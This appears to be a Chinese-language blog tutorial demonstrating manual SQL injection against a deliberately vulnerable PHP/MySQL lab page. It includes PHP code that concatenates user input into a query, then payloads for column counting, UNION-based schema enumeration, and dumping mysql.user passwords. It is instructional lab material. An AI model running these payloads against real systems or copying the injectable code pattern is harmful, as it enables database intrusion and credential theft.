1. 程式人生 > >mysql手工注入演示

mysql手工注入演示

演示環境準備:

php環境,存在漏洞的php指令碼,mysql資料庫以及資料表

php環境直接使用phpstudy即可

存在漏洞的指令碼檔案   

<!DOCTYPE html>
<html>
<head>
	<title>sql注入測試頁面</title>
</head>
<?php

header("Content-type:text/html;charset=utf-8"); 

$con = mysqli_connect("localhost","root","root","springdemo","3306");
if (!$con)
  {
  die('DB Could not connect: ' . mysql_error());
  }

  echo "資料庫連線成功<br/>根據id值在資料庫中查詢使用者資訊<br/><br/>";
?>

<body>
<form action="" method="get">
	<input type="text" name="id" size="20">&nbsp;<input type="submit" value="ok" >
</form>
</body>
<?php

  $id=$_REQUEST['id'];

  $sql="select * from user where id=".$id;

  echo "您輸入的sql語句為:".$sql;

$result = mysqli_query($con,$sql);

while($row = mysqli_fetch_array($result))
  {
  echo "<br/><hr>";
  echo $row['id'] . "<--->" . $row['name'];
  echo "<br />";
  }

mysqli_close($con);
?>

phpstudy自帶mysql資料庫,資料庫表的建立如下:

create table user(
	id int auto_increment,
	name varchar(50) not null,
	age int,
	primary key(id)
)default charset=utf8;

insert into user(name,age) values ('曹操',50);
insert into user(name,age) values ('劉備',55);
insert into user(name,age) values ('孫權',40);

然後再隨意插入幾條測試資料即可

 

重頭戲來了,開始演示環節

1、    ?id=10'
    根據報錯資訊大致判斷資料庫型別為mysql資料庫

 

 

2、    ?id=10 and 1=1        ?id=10 and 1=2
    兩個payload的返回結果不一致,確定id引數存在注入點

 

 

3、    ?id=10 order by 1    ?id=10 order by 111111
    根據兩個payload的返回結果可以知道此處支援order by,可以縮短對查詢列數的判斷時間

 

 

4、    ?id=10 order by 10
    程式報錯,說明列數在1-10之間,後續二分法逐步查詢   ?id=10 order by 6    ?id=10 order by 4        在?id=10 order by 3的時候程式返回正常,說明列數為3

 

 

5、    ?id=10 union all select 1,2,3
    判斷資料在頁面顯示的位置,可以發現1,2 在頁面顯示,表明前兩列可以作為後續查詢使用

 

 

6、    ?id=10 union all select 1,schema_name,3 from information_schema.schemata
    查詢出所有資料庫的庫名

 

 

7、    ?id=10 union all select user,password,3 from mysql.user
    查詢mysql資料庫的使用者資訊

 

8、    後續省略